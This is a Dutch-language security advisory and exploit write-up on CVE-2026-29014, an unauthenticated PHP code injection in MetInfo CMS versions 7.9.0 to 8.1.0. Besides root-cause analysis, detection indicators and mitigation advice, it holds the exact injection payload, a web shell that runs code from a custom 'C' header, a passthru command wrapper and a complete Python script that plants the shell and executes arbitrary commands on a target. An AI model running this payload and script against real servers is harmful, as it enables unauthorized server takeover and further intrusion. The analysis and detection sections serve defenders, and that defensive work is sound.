
CVE-2026-29014 is een kritieke unauthenticated PHP code injection kwetsbaarheid in MetInfo CMS, die versies 7.9.0 tot en met 8.1.0 treft. Publiek beschikbaar adviesmateriaal beschrijft het probleem als een remote code execution conditie veroorzaakt door onvoldoende neutralisatie van gebruikersinvoer in het uitvoeringspad. Het kwetsbare gedrag is bereikbaar via de WeChat-gerelateerde request handler op /app/system/entrance.php?n=include&m=module&c=weixin&a=doapi, waar door de aanvaller gecontroleerde invoer in een PHP-cachebestand kan worden geschreven en vervolgens uitgevoerd.
Het publiek beschikbare technische bewijs is ongewoon sterk. Het advisory van Karma(In)Security bevat kwetsbare code-fragmenten, identificeert de getroffen klasse en methode (weixinreply.class.php, wxAdminLogin()), en verwijst naar een publieke proof of concept. Het beschikbare PoC-materiaal wijst op een meerfasig unauthenticated exploitpad waarbij eerst PHP wordt geïnjecteerd in een cache-backed bestand en vervolgens command execution wordt getriggerd. VulnCheck registreert eveneens de publieke beschikbaarheid van een exploit voor dit probleem.
Voor aan het internet blootgestelde MetInfo CMS-installaties die kwetsbare versies draaien, vormt dit een risico op initiële toegang en volledige servercompromittering.
- CVE:
CVE-2026-29014 - Ernst: Kritiek
- CVSS:
9.3 - CWE:
CWE-94, Improper Control of Generation of Code - Leverancier: MetInfo CMS
- Product: MetInfo CMS
- Getroffen versies:
7.9.0 <= 8.1.0 - Aanvalsoppervlak: Remote, unauthenticated
- Impact: Arbitraire PHP code-uitvoering, remote code execution, potentiële volledige controle over de getroffen server
- Bekende publieke PoC: Ja
- ATT&CK-koppeling:
T1190, Exploit Public-Facing Application
Deze kwetsbaarheid is relevant omdat ze drie eigenschappen combineert die defenders als hoge prioriteit moeten behandelen: geen authenticatievereiste, directe code-injectie in de PHP-uitvoeringsstroom, en publieke beschikbaarheid van een exploit.
Het advisory stelt dat aanvallers op afstand arbitraire code kunnen uitvoeren door speciaal vervaardigde requests met kwaadaardige PHP-code te versturen. Het kwetsbare codepad laat zien waarom die stelling geloofwaardig is. In de methode wxAdminLogin() wordt door de aanvaller gecontroleerde data uit FromUserName doorgegeven aan cache::put() via een cache-sleutel afgeleid van login_code:
public function wxAdminLogin($data = array(),$code = '')
{
global $_M;
$weixinapi = load::mod_class('weixin/weixinapi','new');
$login_code = cache::get("weixin/".$code);
if ($login_code) {
cache::put("weixin/".$login_code,$data['FromUserName']);
}
return;
}
De bijbehorende cache-schrijffunctie is eveneens publiek gedocumenteerd:
public static function put($file, $data, $type = 'php')
{
global $_M;
load::sys_func('file');
$save = PATH_CACHE . $file . '.' . $type;
makefile($save);
#$data = str_replace(array("\"", "\\"), array("\\\"", "\\\\"), $data);
if (!is_array($data)) {
file_put_contents($save, "<?php\ndefined('IN_MET') or exit('No permission');\n\$cache=\"{$data}\";\n?>");
} else {
$info = var_export($data, true);
$info = "<?php\ndefined('IN_MET') or exit('No permission');\n\$cache = {$info};\n?>";
file_put_contents($save, $info);
}
}
De uitgecommentarieerde str_replace()-regel is bijzonder relevant. Op basis van de gepubliceerde code wordt string-invoer in een PHP-bestand geschreven binnen een dubbelquoted assignment, zonder dat gevaarlijke tekens vooraf worden geneutraliseerd. Dat is de kernconditie die een cache-schrijfactie omzet in een code-injectieprimitief.
De hoofdoorzaak is het onveilig genereren van uitvoerbare PHP-inhoud vanuit niet-vertrouwde invoer.
Twee implementatiedetails uit de gepubliceerde code verklaren het probleem:
wxAdminLogin()schrijft door de aanvaller gecontroleerdeFromUserName-data naar de cachelaag.cache::put()slaat niet-array-invoer op als een PHP-bestand via string-interpolatie:
$cache="{$data}";
Omdat de functie een .php-bestand schrijft en de opgegeven waarde direct in een PHP-dubbelquoted string inbedt, kan een aanvaller bij het ontbreken van juiste neutralisatie PHP-code rechtstreeks in die string-context injecteren. In plaats van de stringdelimiters te doorbreken, wordt misbruik gemaakt van PHP's curly-syntaxis binnen dubbelquoted strings, waardoor expressies zoals {${eval(...)}} kunnen worden geëvalueerd zonder de omsluitende stringdelimiters te hoeven verlaten. Het advisory karakteriseert het probleem expliciet als een unauthenticated PHP code injection kwetsbaarheid, en het code-fragment ondersteunt die classificatie.
Dezelfde functie construeert het doelpad als:
$save = PATH_CACHE . $file . '.' . $type;
De publieke PoC-indicatoren suggereren dat het exploitpad niet uitsluitend afhankelijk is van code-injectie in de waarde, maar ook van het controleren van de cache-bestandsnaam via de login_code-stroom. De stage-markeringen adminlogin&../config/tables en adminlogin&Array wijzen er sterk op dat de aanvaller de cache-sleutel beïnvloedt die door cache::put("weixin/".$login_code, ...) wordt gebruikt, waardoor traversal-achtig gedrag in het gegenereerde cachepad mogelijk wordt. De publieke exploitlogica combineert daarom padmanipulatie met PHP code-injectie om door de aanvaller gecontroleerde PHP op een uitvoerbare locatie te plaatsen.
Het publieke exploitbewijs wijst op de volgende request handler:
/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi
De door de publieke PoC beschreven exploitstroom verloopt in meerdere fasen.
Het gestructureerde PoC-bewijs bevat de exacte payload-markering:
event SCAN adminlogin&../config/tables{${eval(base64_decode($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(67)]))}}.{${die()}}
Hetzelfde bewijs toont een aangepaste header genaamd C, waarvan de waarde door de geïnjecteerde PHP wordt base64-gedecodeerd. Het op de publieke PoC gebaseerde validatieartefact gebruikt die header om code te leveren zoals:
file_put_contents("cache/weixin/Array.php", "<?php eval($_SERVER[HTTP_C]); ?>");
Dit is consistent met het kwetsbare codepad. FromUserName bereikt cache::put(), en de resulterende PHP-bestandsinhoud kan zodanig worden beïnvloed dat door de aanvaller opgegeven PHP wordt uitgevoerd tijdens verdere verwerking. De injectie werkt door misbruik te maken van PHP's curly-syntaxis binnen de dubbelquoted string-context die door cache::put() wordt geproduceerd, waardoor PHP-expressies zoals {${eval(...)}} worden geëvalueerd zonder de omsluitende stringdelimiters te verlaten.
De publieke stage-markeringen bevatten ook een tweede request-body:
event SCAN adminlogin&Array
Beschikbare exploitnotities geven aan dat dit tweede request wordt gebruikt om het Array-cachebestandspad in te stellen of te refereren, waarna de geïnjecteerde PHP op een stabiele manier bereikbaar is. De exacte interne controlestroom buiten de gepubliceerde fragmenten is niet volledig gedocumenteerd in de publieke advisory-tekst. Het is daarom nauwkeuriger te stellen dat de exploit een tweeledige requestreeks gebruikt met ../config/tables en Array om het aanmaken en uitvoeren van cache te sturen, dan om niet-gedocumenteerde internals te overdrijven.
De publieke PoC-markeringen bevatten de uitvoermarkering _____ en een PHP-commandowrapper van de volgende vorm:
chdir('../..'); print '_____'; passthru(base64_decode('%s')); print '_____';
Die wrapper wordt vervolgens base64-gecodeerd en via hetzelfde injectiemechanisme verzonden via de C-header, die de geïnjecteerde PHP uitleest via $_SERVER[HTTP_C]. De exploit controleert op success tijdens de injectiefase en extraheert vervolgens de uitvoer van commando's tussen de _____..._____-markeringen.
Dit is voldoende om te concluderen dat het publieke exploitpad niet louter theoretisch is. Het is ontworpen om op een herhaalbare manier van code-injectie naar operating system command execution te gaan.
Dit artikel en de broncode zijn uitsluitend bedoeld voor educatieve doeleinden en beveiligingsonderzoek. Misbruik voor kwaadaardige doeleinden, waaronder ongeautoriseerde systeemtoegang of malwareontwikkeling, is uitdrukkelijk verboden. Door gebruik te maken van dit materiaal gaat u akkoord met onze Algemene Voorwaarden. Gebruik is geheel op eigen risico.
Een publieke PoC is beschikbaar via Karma(In)Security:
https://karmainsecurity.com/pocs/CVE-2026-29014.php
Het publieke materiaal ondersteunt de volgende concrete reproductiepunten:
- Endpoint:
/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi - Unauthenticated aanvalsoppervlak
- Meerfasige requeststroom
- Stage-markeringen:
adminlogin&../config/tablesenadminlogin&Array - Header gebruikt voor payload-transport:
C(server-side uitgelezen als$_SERVER[HTTP_C]) - Succesindicatoren:
successen uitvoer omsloten door_____
Een operationele noot uit het gegenereerde validatieartefact is het bewaren waard: exploitatie vereist dat de map /cache/weixin/ bestaat, wat verwacht mag worden wanneer de WeChat-plugin is geïnstalleerd. Dit sluit aan bij het kwetsbare codepad dat weixin/-cache-sleutels gebruikt, maar publieke bronfragmenten documenteren niet alle deployment-vereisten volledig. In de praktijk moeten defenders ervan uitgaan dat systemen die het WeChat-modulepad blootstellen kwetsbaar zijn.
De volgende
PoC Exploit by WebSecis niet getest tegen een live doelwit. Hij is gebaseerd op publieke referenties, advisories, commits en ander geciteerd materiaal, en wordt uitsluitend aangeboden ter toelichting op de waarschijnlijke exploiteerbaarheid en validatielogica.
Het volgende compacte validatiescript volgt de publieke exploitvolgorde en is gebaseerd op het gepubliceerde advisory, PoC-indicatoren en het geciteerde codepad. Het is niet getest door WebSec en dient uitsluitend te worden behandeld als onderzoekshulpmiddel voor geautoriseerde validatie.
#!/usr/bin/env python3
import requests
import urllib3
import sys
import base64
import re
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def stage1_inject_webshell(target_url):
endpoint = "/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi"
url = target_url.rstrip('/') + endpoint
payload = 'event SCAN adminlogin&../config/tables{${eval(base64_decode($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(67)]))}}.{${die()}}'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'C': base64.b64encode(b'file_put_contents("cache/weixin/Array.php", "<?php eval($_SERVER[HTTP_C]); ?>");').decode()
}
try:
response = requests.post(url, data=payload, headers=headers, verify=False, timeout=10)
return "success" in response.text.lower() or response.status_code == 200
except requests.exceptions.RequestException:
return False
def stage2_setup_array_cache(target_url):
endpoint = "/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi"
url = target_url.rstrip('/') + endpoint
payload = 'event SCAN adminlogin&Array'
try:
response = requests.post(url, data=payload, headers={'Content-Type': 'application/x-www-form-urlencoded'}, verify=False, timeout=10)
return response.status_code == 200
except requests.exceptions.RequestException:
return False
def execute_command(target_url, command):
endpoint = "/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi"
url = target_url.rstrip('/') + endpoint
encoded_cmd = base64.b64encode(command.encode()).decode()
phpcode = f"chdir('../..'); print '_____'; passthru(base64_decode('{encoded_cmd}')); print '_____';"
payload = 'event SCAN adminlogin&../config/tables{${eval(base64_decode($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(67)]))}}.{${die()}}'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'C': base64.b64encode(phpcode.encode()).decode()
}
try:
response = requests.post(url, data=payload, headers=headers, verify=False, timeout=15)
match = re.search(r'_____(.*)_____', response.text, re.DOTALL)
return match.group(1).strip() if match else None
except requests.exceptions.RequestException:
return None
def main():
parser = argparse.ArgumentParser()
parser.add_argument('target')
parser.add_argument('-c', '--command', default='id')
args = parser.parse_args()
target = args.target if args.target.startswith(('http://', 'https://')) else 'http://' + args.target
if not stage1_inject_webshell(target):
sys.exit(1)
if not stage2_setup_array_cache(target):
sys.exit(1)
output = execute_command(target, args.command)
if output is not None:
print(output)
if __name__ == '__main__':
main()
Dit artikel en de broncode zijn uitsluitend bedoeld voor educatieve doeleinden en beveiligingsonderzoek. Misbruik voor kwaadaardige doeleinden, waaronder ongeautoriseerde systeemtoegang of malwareontwikkeling, is uitdrukkelijk verboden. Door gebruik te maken van dit materiaal gaat u akkoord met onze Algemene Voorwaarden. Gebruik is geheel op eigen risico.
- CWE-94: Improper Control of Generation of Code
- ATT&CK
T1190: Exploit Public-Facing Application
De ATT&CK-koppeling past nauwkeurig bij de publieke beschrijving. Het kwetsbare component is een via het web bereikbaar applicatie-endpoint, exploitatie vereist geen authenticatie, en het resultaat is server-side code-uitvoering.
Op basis van het publieke exploitpad dienen defenders zich op het volgende te richten:
- Controleer HTTP-verkeer naar
/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi. - Zoek naar request-bodies die de publieke exploit-markeringen bevatten:
event SCAN adminlogin&../config/tablesevent SCAN adminlogin&Array
- Inspecteer requests die een ongebruikelijke aangepaste header genaamd
Cbevatten. - Doorzoek web- en applicatielogboeken op responses die
successbevatten in de context van de WeChat API-handler. - Zoek naar bestanden aangemaakt onder cachepaden gerelateerd aan
weixin, met name verdachte PHP-bestanden zoalscache/weixin/Array.php. - Controleer bestandsintegriteitwijzigingen in cachemappen op ingebedde PHP zoals
eval($_SERVER[HTTP_C]),passthru(, of onverwachtefile_put_contents(-patronen.
- Upgrade van getroffen versies
7.9.0tot en met8.1.0zodra een leveranciersfixatie beschikbaar is. - Beperk de blootstelling van MetInfo CMS-beheer- en module-endpoints tot vertrouwde netwerken waar mogelijk.
- Als de WeChat-module niet vereist is, beperk dan de blootstelling van het gerelateerde endpoint en monitor eventuele toegangspogingen.
- Behandel elke bevestigde exploitatie als een volledige servercompromittering. Het publieke advisory stelt dat aanvallers volledige controle over de getroffen server kunnen verkrijgen.
Omdat het publieke exploitpad uitvoerbare PHP schrijft naar cache-backed locaties, dient incident response een bestandssysteemcontrole, het roteren van credentials en een bredere beoordeling van hostkompromittering te omvatten, in plaats van uitsluitend opschoning op webapplicatieniveau.
De kwetsbaarheid werd ontdekt door Egidio Romano.
- Karma(In)Security, MetInfo CMS <= 8.1 (
weixinreply.class.php) PHP Code Injection Vulnerability: https://karmainsecurity.com/KIS-2026-06 - Publieke PoC waarnaar het advisory verwijst: https://karmainsecurity.com/pocs/CVE-2026-29014.php
- MetInfo CMS leverancierswebsite: https://www.metinfo.cn/
- VulnCheck advisory, MetInfo CMS Unauthenticated PHP Code Injection RCE: https://www.vulncheck.com/advisories/metinfo-cms-unauthenticated-php-code-injection-rce
